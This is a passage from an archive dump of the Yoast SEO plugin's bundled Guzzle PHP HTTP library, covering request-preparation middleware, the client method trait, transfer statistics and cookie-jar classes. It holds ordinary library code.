     * @param callable(RequestInterface, array): PromiseInterface $nextHandler Next handler to invoke.
     */
    public function __construct(callable $nextHandler)
    {
        $this->nextHandler = $nextHandler;
    }
    public function __invoke(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        $fn = $this->nextHandler;
        // Don't do anything if the request has no body.
        if ($request->getBody()->getSize() === 0) {
            return $fn($request, $options);
        }
        $modify = [];
        // Add a default content-type if possible.
        if (!$request->hasHeader('Content-Type')) {
            if ($uri = $request->getBody()->getMetadata('uri')) {
                if (\is_string($uri) && ($type = \YoastSEO_Vendor\GuzzleHttp\Psr7\MimeType::fromFilename($uri))) {
                    $modify['set_headers']['Content-Type'] = $type;
                }
            }
        }
        // Add a default content-length or transfer-encoding header.
        if (!$request->hasHeader('Content-Length') && !$request->hasHeader('Transfer-Encoding')) {
            $size = $request->getBody()->getSize();
            if ($size !== null) {
                $modify['set_headers']['Content-Length'] = $size;
            } else {
                $modify['set_headers']['Transfer-Encoding'] = 'chunked';
            }
        }
        // Add the expect header if needed.
        $this->addExpectHeader($request, $options, $modify);
        return $fn(\YoastSEO_Vendor\GuzzleHttp\Psr7\Utils::modifyRequest($request, $modify), $options);
    }
    /**
     * Add expect header
     */
    private function addExpectHeader(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, array $options, array &$modify) : void
    {
        // Determine if the Expect header should be used
        if ($request->hasHeader('Expect')) {
            return;
        }
        $expect = $options['expect'] ?? null;
        // Return if disabled or if you're not using HTTP/1.1 or HTTP/2.0
        if ($expect === \false || $request->getProtocolVersion() < 1.1) {
            return;
        }
        // The expect header is unconditionally enabled
        if ($expect === \true) {
            $modify['set_headers']['Expect'] = '100-Continue';
            return;
        }
        // By default, send the expect header when the payload is > 1mb
        if ($expect === null) {
            $expect = 1048576;
        }
        // Always add if the body cannot be rewound, the size cannot be
        // determined, or the size is greater than the cutoff threshold
        $body = $request->getBody();
        $size = $body->getSize();
        if ($size === null || $size >= (int) $expect || !$body->isSeekable()) {
            $modify['set_headers']['Expect'] = '100-Continue';
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/functions_include.php000064400000000320147510273100023311 0ustar00<?php

namespace YoastSEO_Vendor;

// Don't redefine the functions if included multiple times.
if (!\function_exists('YoastSEO_Vendor\\GuzzleHttp\\describe_type')) {
    require __DIR__ . '/functions.php';
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/ClientTrait.php000064400000022550147510273100022031 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\GuzzleHttp\Exception\GuzzleException;
use YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * Client interface for sending HTTP requests.
 */
trait ClientTrait
{
    /**
     * Create and send an HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string              $method  HTTP method.
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public abstract function request(string $method, $uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
    /**
     * Create and send an HTTP GET request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function get($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        return $this->request('GET', $uri, $options);
    }
    /**
     * Create and send an HTTP HEAD request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function head($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        return $this->request('HEAD', $uri, $options);
    }
    /**
     * Create and send an HTTP PUT request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function put($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        return $this->request('PUT', $uri, $options);
    }
    /**
     * Create and send an HTTP POST request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function post($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        return $this->request('POST', $uri, $options);
    }
    /**
     * Create and send an HTTP PATCH request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function patch($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        return $this->request('PATCH', $uri, $options);
    }
    /**
     * Create and send an HTTP DELETE request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     *
     * @throws GuzzleException
     */
    public function delete($uri, array $options = []) : \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        return $this->request('DELETE', $uri, $options);
    }
    /**
     * Create and send an asynchronous HTTP request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string              $method  HTTP method
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public abstract function requestAsync(string $method, $uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface;
    /**
     * Create and send an asynchronous HTTP GET request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function getAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->requestAsync('GET', $uri, $options);
    }
    /**
     * Create and send an asynchronous HTTP HEAD request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function headAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->requestAsync('HEAD', $uri, $options);
    }
    /**
     * Create and send an asynchronous HTTP PUT request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function putAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->requestAsync('PUT', $uri, $options);
    }
    /**
     * Create and send an asynchronous HTTP POST request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function postAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->requestAsync('POST', $uri, $options);
    }
    /**
     * Create and send an asynchronous HTTP PATCH request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function patchAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->requestAsync('PATCH', $uri, $options);
    }
    /**
     * Create and send an asynchronous HTTP DELETE request.
     *
     * Use an absolute path to override the base path of the client, or a
     * relative path to append to the base path of the client. The URL can
     * contain the query string as well. Use an array to provide a URL
     * template and additional variables to use in the URL template expansion.
     *
     * @param string|UriInterface $uri     URI object or string.
     * @param array               $options Request options to apply.
     */
    public function deleteAsync($uri, array $options = []) : \YoastSEO_Vendor\GuzzleHttp\Promise\PromiseInterface
    {
        return $this->requestAsync('DELETE', $uri, $options);
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/TransferStats.php000064400000006442147510273100022414 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp;

use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
use YoastSEO_Vendor\Psr\Http\Message\UriInterface;
/**
 * Represents data at the point after it was transferred either successfully
 * or after a network error.
 */
final class TransferStats
{
    /**
     * @var RequestInterface
     */
    private $request;
    /**
     * @var ResponseInterface|null
     */
    private $response;
    /**
     * @var float|null
     */
    private $transferTime;
    /**
     * @var array
     */
    private $handlerStats;
    /**
     * @var mixed|null
     */
    private $handlerErrorData;
    /**
     * @param RequestInterface       $request          Request that was sent.
     * @param ResponseInterface|null $response         Response received (if any)
     * @param float|null             $transferTime     Total handler transfer time.
     * @param mixed                  $handlerErrorData Handler error data.
     * @param array                  $handlerStats     Handler specific stats.
     */
    public function __construct(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response = null, float $transferTime = null, $handlerErrorData = null, array $handlerStats = [])
    {
        $this->request = $request;
        $this->response = $response;
        $this->transferTime = $transferTime;
        $this->handlerErrorData = $handlerErrorData;
        $this->handlerStats = $handlerStats;
    }
    public function getRequest() : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface
    {
        return $this->request;
    }
    /**
     * Returns the response that was received (if any).
     */
    public function getResponse() : ?\YoastSEO_Vendor\Psr\Http\Message\ResponseInterface
    {
        return $this->response;
    }
    /**
     * Returns true if a response was received.
     */
    public function hasResponse() : bool
    {
        return $this->response !== null;
    }
    /**
     * Gets handler specific error data.
     *
     * This might be an exception, a integer representing an error code, or
     * anything else. Relying on this value assumes that you know what handler
     * you are using.
     *
     * @return mixed
     */
    public function getHandlerErrorData()
    {
        return $this->handlerErrorData;
    }
    /**
     * Get the effective URI the request was sent to.
     */
    public function getEffectiveUri() : \YoastSEO_Vendor\Psr\Http\Message\UriInterface
    {
        return $this->request->getUri();
    }
    /**
     * Get the estimated time the request was being transferred by the handler.
     *
     * @return float|null Time in seconds.
     */
    public function getTransferTime() : ?float
    {
        return $this->transferTime;
    }
    /**
     * Gets an array of all of the handler specific transfer data.
     */
    public function getHandlerStats() : array
    {
        return $this->handlerStats;
    }
    /**
     * Get a specific handler statistic from the handler by name.
     *
     * @param string $stat Handler specific transfer stat to retrieve.
     *
     * @return mixed|null
     */
    public function getHandlerStat(string $stat)
    {
        return $this->handlerStats[$stat] ?? null;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/CookieJarInterface.php000064400000005745147510273100024516 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Cookie;

use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
/**
 * Stores HTTP cookies.
 *
 * It extracts cookies from HTTP requests, and returns them in HTTP responses.
 * CookieJarInterface instances automatically expire contained cookies when
 * necessary. Subclasses are also responsible for storing and retrieving
 * cookies from a file, database, etc.
 *
 * @see https://docs.python.org/2/library/cookielib.html Inspiration
 *
 * @extends \IteratorAggregate<SetCookie>
 */
interface CookieJarInterface extends \Countable, \IteratorAggregate
{
    /**
     * Create a request with added cookie headers.
     *
     * If no matching cookies are found in the cookie jar, then no Cookie
     * header is added to the request and the same request is returned.
     *
     * @param RequestInterface $request Request object to modify.
     *
     * @return RequestInterface returns the modified request.
     */
    public function withCookieHeader(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request) : \YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
    /**
     * Extract cookies from an HTTP response and store them in the CookieJar.
     *
     * @param RequestInterface  $request  Request that was sent
     * @param ResponseInterface $response Response that was received
     */
    public function extractCookies(\YoastSEO_Vendor\Psr\Http\Message\RequestInterface $request, \YoastSEO_Vendor\Psr\Http\Message\ResponseInterface $response) : void;
    /**
     * Sets a cookie in the cookie jar.
     *
     * @param SetCookie $cookie Cookie to set.
     *
     * @return bool Returns true on success or false on failure
     */
    public function setCookie(\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie) : bool;
    /**
     * Remove cookies currently held in the cookie jar.
     *
     * Invoking this method without arguments will empty the whole cookie jar.
     * If given a $domain argument only cookies belonging to that domain will
     * be removed. If given a $domain and $path argument, cookies belonging to
     * the specified path within that domain are removed. If given all three
     * arguments, then the cookie with the specified name, path and domain is
     * removed.
     *
     * @param string|null $domain Clears cookies matching a domain
     * @param string|null $path   Clears cookies matching a domain and path
     * @param string|null $name   Clears cookies matching a domain, path, and name
     */
    public function clear(string $domain = null, string $path = null, string $name = null) : void;
    /**
     * Discard all sessions cookies.
     *
     * Removes cookies that don't have an expire field or a have a discard
     * field set to true. To be called when the user agent shuts down according
     * to RFC 2965.
     */
    public function clearSessionCookies() : void;
    /**
     * Converts the cookie jar to an array.
     */
    public function toArray() : array;
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/FileCookieJar.php000064400000005604147510273100023467 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Cookie;

use YoastSEO_Vendor\GuzzleHttp\Utils;
/**
 * Persists non-session cookies using a JSON formatted file
 */
class FileCookieJar extends \YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJar
{
    /**
     * @var string filename
     */
    private $filename;
    /**
     * @var bool Control whether to persist session cookies or not.
     */
    private $storeSessionCookies;
    /**
     * Create a new FileCookieJar object
     *
     * @param string $cookieFile          File to store the cookie data
     * @param bool   $storeSessionCookies Set to true to store session cookies
     *                                    in the cookie jar.
     *
     * @throws \RuntimeException if the file cannot be found or created
     */
    public function __construct(string $cookieFile, bool $storeSessionCookies = \false)
    {
        parent::__construct();
        $this->filename = $cookieFile;
        $this->storeSessionCookies = $storeSessionCookies;
        if (\file_exists($cookieFile)) {
            $this->load($cookieFile);
        }
    }
    /**
     * Saves the file when shutting down
     */
    public function __destruct()
    {
        $this->save($this->filename);
    }
    /**
     * Saves the cookies to a file.
     *
     * @param string $filename File to save
     *
     * @throws \RuntimeException if the file cannot be found or created
     */
    public function save(string $filename) : void
    {
        $json = [];
        /** @var SetCookie $cookie */
        foreach ($this as $cookie) {
            if (\YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJar::shouldPersist($cookie, $this->storeSessionCookies)) {
                $json[] = $cookie->toArray();
            }
        }
        $jsonStr = \YoastSEO_Vendor\GuzzleHttp\Utils::jsonEncode($json);
        if (\false === \file_put_contents($filename, $jsonStr, \LOCK_EX)) {
            throw new \RuntimeException("Unable to save file {$filename}");
        }
    }
    /**
     * Load cookies from a JSON formatted file.
     *
     * Old cookies are kept unless overwritten by newly loaded ones.
     *
     * @param string $filename Cookie file to load.
     *
     * @throws \RuntimeException if the file cannot be loaded.
     */
    public function load(string $filename) : void
    {
        $json = \file_get_contents($filename);
        if (\false === $json) {
            throw new \RuntimeException("Unable to load file {$filename}");
        }
        if ($json === '') {
            return;
        }
        $data = \YoastSEO_Vendor\GuzzleHttp\Utils::jsonDecode($json, \true);
        if (\is_array($data)) {
            foreach ($data as $cookie) {
                $this->setCookie(new \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie($cookie));
            }
        } elseif (\is_scalar($data) && !empty($data)) {
            throw new \RuntimeException("Invalid cookie file: {$filename}");
        }
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/SetCookie.php000064400000033464147510273100022713 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Cookie;

/**
 * Set-Cookie object
 */
class SetCookie
{
    /**
     * @var array
     */
    private static $defaults = ['Name' => null, 'Value' => null, 'Domain' => null, 'Path' => '/', 'Max-Age' => null, 'Expires' => null, 'Secure' => \false, 'Discard' => \false, 'HttpOnly' => \false];
    /**
     * @var array Cookie data
     */
    private $data;
    /**
     * Create a new SetCookie object from a string.
     *
     * @param string $cookie Set-Cookie header string
     */
    public static function fromString(string $cookie) : self
    {
        // Create the default return array
        $data = self::$defaults;
        // Explode the cookie string using a series of semicolons
        $pieces = \array_filter(\array_map('trim', \explode(';', $cookie)));
        // The name of the cookie (first kvp) must exist and include an equal sign.
        if (!isset($pieces[0]) || \strpos($pieces[0], '=') === \false) {
            return new self($data);
        }
        // Add the cookie pieces into the parsed data array
        foreach ($pieces as $part) {
            $cookieParts = \explode('=', $part, 2);
            $key = \trim($cookieParts[0]);
            $value = isset($cookieParts[1]) ? \trim($cookieParts[1], " \n\r\t\x00\v") : \true;
            // Only check for non-cookies when cookies have been found
            if (!isset($data['Name'])) {
                $data['Name'] = $key;
                $data['Value'] = $value;
            } else {
                foreach (\array_keys(self::$defaults) as $search) {
                    if (!\strcasecmp($search, $key)) {
                        if ($search === 'Max-Age') {
                            if (\is_numeric($value)) {
                                $data[$search] = (int) $value;
                            }
                        } else {
                            $data[$search] = $value;
                        }
                        continue 2;
                    }
                }
                $data[$key] = $value;
            }
        }
        return new self($data);
    }
    /**
     * @param array $data Array of cookie data provided by a Cookie parser
     */
    public function __construct(array $data = [])
    {
        $this->data = self::$defaults;
        if (isset($data['Name'])) {
            $this->setName($data['Name']);
        }
        if (isset($data['Value'])) {
            $this->setValue($data['Value']);
        }
        if (isset($data['Domain'])) {
            $this->setDomain($data['Domain']);
        }
        if (isset($data['Path'])) {
            $this->setPath($data['Path']);
        }
        if (isset($data['Max-Age'])) {
            $this->setMaxAge($data['Max-Age']);
        }
        if (isset($data['Expires'])) {
            $this->setExpires($data['Expires']);
        }
        if (isset($data['Secure'])) {
            $this->setSecure($data['Secure']);
        }
        if (isset($data['Discard'])) {
            $this->setDiscard($data['Discard']);
        }
        if (isset($data['HttpOnly'])) {
            $this->setHttpOnly($data['HttpOnly']);
        }
        // Set the remaining values that don't have extra validation logic
        foreach (\array_diff(\array_keys($data), \array_keys(self::$defaults)) as $key) {
            $this->data[$key] = $data[$key];
        }
        // Extract the Expires value and turn it into a UNIX timestamp if needed
        if (!$this->getExpires() && $this->getMaxAge()) {
            // Calculate the Expires date
            $this->setExpires(\time() + $this->getMaxAge());
        } elseif (null !== ($expires = $this->getExpires()) && !\is_numeric($expires)) {
            $this->setExpires($expires);
        }
    }
    public function __toString()
    {
        $str = $this->data['Name'] . '=' . ($this->data['Value'] ?? '') . '; ';
        foreach ($this->data as $k => $v) {
            if ($k !== 'Name' && $k !== 'Value' && $v !== null && $v !== \false) {
                if ($k === 'Expires') {
                    $str .= 'Expires=' . \gmdate('D, d M Y H:i:s \\G\\M\\T', $v) . '; ';
                } else {
                    $str .= ($v === \true ? $k : "{$k}={$v}") . '; ';
                }
            }
        }
        return \rtrim($str, '; ');
    }
    public function toArray() : array
    {
        return $this->data;
    }
    /**
     * Get the cookie name.
     *
     * @return string
     */
    public function getName()
    {
        return $this->data['Name'];
    }
    /**
     * Set the cookie name.
     *
     * @param string $name Cookie name
     */
    public function setName($name) : void
    {
        if (!\is_string($name)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        $this->data['Name'] = (string) $name;
    }
    /**
     * Get the cookie value.
     *
     * @return string|null
     */
    public function getValue()
    {
        return $this->data['Value'];
    }
    /**
     * Set the cookie value.
     *
     * @param string $value Cookie value
     */
    public function setValue($value) : void
    {
        if (!\is_string($value)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        $this->data['Value'] = (string) $value;
    }
    /**
     * Get the domain.
     *
     * @return string|null
     */
    public function getDomain()
    {
        return $this->data['Domain'];
    }
    /**
     * Set the domain of the cookie.
     *
     * @param string|null $domain
     */
    public function setDomain($domain) : void
    {
        if (!\is_string($domain) && null !== $domain) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string or null to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        $this->data['Domain'] = null === $domain ? null : (string) $domain;
    }
    /**
     * Get the path.
     *
     * @return string
     */
    public function getPath()
    {
        return $this->data['Path'];
    }
    /**
     * Set the path of the cookie.
     *
     * @param string $path Path of the cookie
     */
    public function setPath($path) : void
    {
        if (!\is_string($path)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a string to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        $this->data['Path'] = (string) $path;
    }
    /**
     * Maximum lifetime of the cookie in seconds.
     *
     * @return int|null
     */
    public function getMaxAge()
    {
        return null === $this->data['Max-Age'] ? null : (int) $this->data['Max-Age'];
    }
    /**
     * Set the max-age of the cookie.
     *
     * @param int|null $maxAge Max age of the cookie in seconds
     */
    public function setMaxAge($maxAge) : void
    {
        if (!\is_int($maxAge) && null !== $maxAge) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing an int or null to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        $this->data['Max-Age'] = $maxAge === null ? null : (int) $maxAge;
    }
    /**
     * The UNIX timestamp when the cookie Expires.
     *
     * @return string|int|null
     */
    public function getExpires()
    {
        return $this->data['Expires'];
    }
    /**
     * Set the unix timestamp for which the cookie will expire.
     *
     * @param int|string|null $timestamp Unix timestamp or any English textual datetime description.
     */
    public function setExpires($timestamp) : void
    {
        if (!\is_int($timestamp) && !\is_string($timestamp) && null !== $timestamp) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing an int, string or null to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        $this->data['Expires'] = null === $timestamp ? null : (\is_numeric($timestamp) ? (int) $timestamp : \strtotime((string) $timestamp));
    }
    /**
     * Get whether or not this is a secure cookie.
     *
     * @return bool
     */
    public function getSecure()
    {
        return $this->data['Secure'];
    }
    /**
     * Set whether or not the cookie is secure.
     *
     * @param bool $secure Set to true or false if secure
     */
    public function setSecure($secure) : void
    {
        if (!\is_bool($secure)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a bool to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        $this->data['Secure'] = (bool) $secure;
    }
    /**
     * Get whether or not this is a session cookie.
     *
     * @return bool|null
     */
    public function getDiscard()
    {
        return $this->data['Discard'];
    }
    /**
     * Set whether or not this is a session cookie.
     *
     * @param bool $discard Set to true or false if this is a session cookie
     */
    public function setDiscard($discard) : void
    {
        if (!\is_bool($discard)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a bool to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        $this->data['Discard'] = (bool) $discard;
    }
    /**
     * Get whether or not this is an HTTP only cookie.
     *
     * @return bool
     */
    public function getHttpOnly()
    {
        return $this->data['HttpOnly'];
    }
    /**
     * Set whether or not this is an HTTP only cookie.
     *
     * @param bool $httpOnly Set to true or false if this is HTTP only
     */
    public function setHttpOnly($httpOnly) : void
    {
        if (!\is_bool($httpOnly)) {
            trigger_deprecation('guzzlehttp/guzzle', '7.4', 'Not passing a bool to %s::%s() is deprecated and will cause an error in 8.0.', __CLASS__, __FUNCTION__);
        }
        $this->data['HttpOnly'] = (bool) $httpOnly;
    }
    /**
     * Check if the cookie matches a path value.
     *
     * A request-path path-matches a given cookie-path if at least one of
     * the following conditions holds:
     *
     * - The cookie-path and the request-path are identical.
     * - The cookie-path is a prefix of the request-path, and the last
     *   character of the cookie-path is %x2F ("/").
     * - The cookie-path is a prefix of the request-path, and the first
     *   character of the request-path that is not included in the cookie-
     *   path is a %x2F ("/") character.
     *
     * @param string $requestPath Path to check against
     */
    public function matchesPath(string $requestPath) : bool
    {
        $cookiePath = $this->getPath();
        // Match on exact matches or when path is the default empty "/"
        if ($cookiePath === '/' || $cookiePath == $requestPath) {
            return \true;
        }
        // Ensure that the cookie-path is a prefix of the request path.
        if (0 !== \strpos($requestPath, $cookiePath)) {
            return \false;
        }
        // Match if the last character of the cookie-path is "/"
        if (\substr($cookiePath, -1, 1) === '/') {
            return \true;
        }
        // Match if the first character not included in cookie path is "/"
        return \substr($requestPath, \strlen($cookiePath), 1) === '/';
    }
    /**
     * Check if the cookie matches a domain value.
     *
     * @param string $domain Domain to check against
     */
    public function matchesDomain(string $domain) : bool
    {
        $cookieDomain = $this->getDomain();
        if (null === $cookieDomain) {
            return \true;
        }
        // Remove the leading '.' as per spec in RFC 6265.
        // https://datatracker.ietf.org/doc/html/rfc6265#section-5.2.3
        $cookieDomain = \ltrim(\strtolower($cookieDomain), '.');
        $domain = \strtolower($domain);
        // Domain not set or exact match.
        if ('' === $cookieDomain || $domain === $cookieDomain) {
            return \true;
        }
        // Matching the subdomain according to RFC 6265.
        // https://datatracker.ietf.org/doc/html/rfc6265#section-5.1.3
        if (\filter_var($domain, \FILTER_VALIDATE_IP)) {
            return \false;
        }
        return (bool) \preg_match('/\\.' . \preg_quote($cookieDomain, '/') . '$/', $domain);
    }
    /**
     * Check if the cookie is expired.
     */
    public function isExpired() : bool
    {
        return $this->getExpires() !== null && \time() > $this->getExpires();
    }
    /**
     * Check if the cookie is valid according to RFC 6265.
     *
     * @return bool|string Returns true if valid or an error message if invalid
     */
    public function validate()
    {
        $name = $this->getName();
        if ($name === '') {
            return 'The cookie name must not be empty';
        }
        // Check if any of the invalid characters are present in the cookie name
        if (\preg_match('/[\\x00-\\x20\\x22\\x28-\\x29\\x2c\\x2f\\x3a-\\x40\\x5c\\x7b\\x7d\\x7f]/', $name)) {
            return 'Cookie name must not contain invalid characters: ASCII ' . 'Control characters (0-31;127), space, tab and the ' . 'following characters: ()<>@,;:\\"/?={}';
        }
        // Value must not be null. 0 and empty string are valid. Empty strings
        // are technically against RFC 6265, but known to happen in the wild.
        $value = $this->getValue();
        if ($value === null) {
            return 'The cookie value must not be empty';
        }
        // Domains must not be empty, but can be 0. "0" is not a valid internet
        // domain, but may be used as server name in a private network.
        $domain = $this->getDomain();
        if ($domain === null || $domain === '') {
            return 'The cookie domain must not be empty';
        }
        return \true;
    }
}
wordpress-seo/vendor_prefixed/guzzlehttp/guzzle/src/Cookie/CookieJar.php000064400000022706147510273100022671 0ustar00<?php

namespace YoastSEO_Vendor\GuzzleHttp\Cookie;

use YoastSEO_Vendor\Psr\Http\Message\RequestInterface;
use YoastSEO_Vendor\Psr\Http\Message\ResponseInterface;
/**
 * Cookie jar that stores cookies as an array
 */
class CookieJar implements \YoastSEO_Vendor\GuzzleHttp\Cookie\CookieJarInterface
{
    /**
     * @var SetCookie[] Loaded cookie data
     */
    private $cookies = [];
    /**
     * @var bool
     */
    private $strictMode;
    /**
     * @param bool  $strictMode  Set to true to throw exceptions when invalid
     *                           cookies are added to the cookie jar.
     * @param array $cookieArray Array of SetCookie objects or a hash of
     *                           arrays that can be used with the SetCookie
     *                           constructor
     */
    public function __construct(bool $strictMode = \false, array $cookieArray = [])
    {
        $this->strictMode = $strictMode;
        foreach ($cookieArray as $cookie) {
            if (!$cookie instanceof \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie) {
                $cookie = new \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie($cookie);
            }
            $this->setCookie($cookie);
        }
    }
    /**
     * Create a new Cookie jar from an associative array and domain.
     *
     * @param array  $cookies Cookies to create the jar from
     * @param string $domain  Domain to set the cookies to
     */
    public static function fromArray(array $cookies, string $domain) : self
    {
        $cookieJar = new self();
        foreach ($cookies as $name => $value) {
            $cookieJar->setCookie(new \YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie(['Domain' => $domain, 'Name' => $name, 'Value' => $value, 'Discard' => \true]));
        }
        return $cookieJar;
    }
    /**
     * Evaluate if this cookie should be persisted to storage
     * that survives between requests.
     *
     * @param SetCookie $cookie              Being evaluated.
     * @param bool      $allowSessionCookies If we should persist session cookies
     */
    public static function shouldPersist(\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie $cookie, bool $allowSessionCookies = \false) : bool
    {
        if ($cookie->getExpires() || $allowSessionCookies) {
            if (!$cookie->getDiscard()) {
                return \true;
            }
        }
        return \false;
    }
    /**
     * Finds and returns the cookie based on the name
     *
     * @param string $name cookie name to search for
     *
     * @return SetCookie|null cookie that was found or null if not found
     */
    public function getCookieByName(string $name) : ?\YoastSEO_Vendor\GuzzleHttp\Cookie\SetCookie
    {
        foreach ($this->cookies as $cookie) {
            if ($cookie->getName() !== null && \strcasecmp($cookie->getName(), $name) === 0) {
                return $cookie;
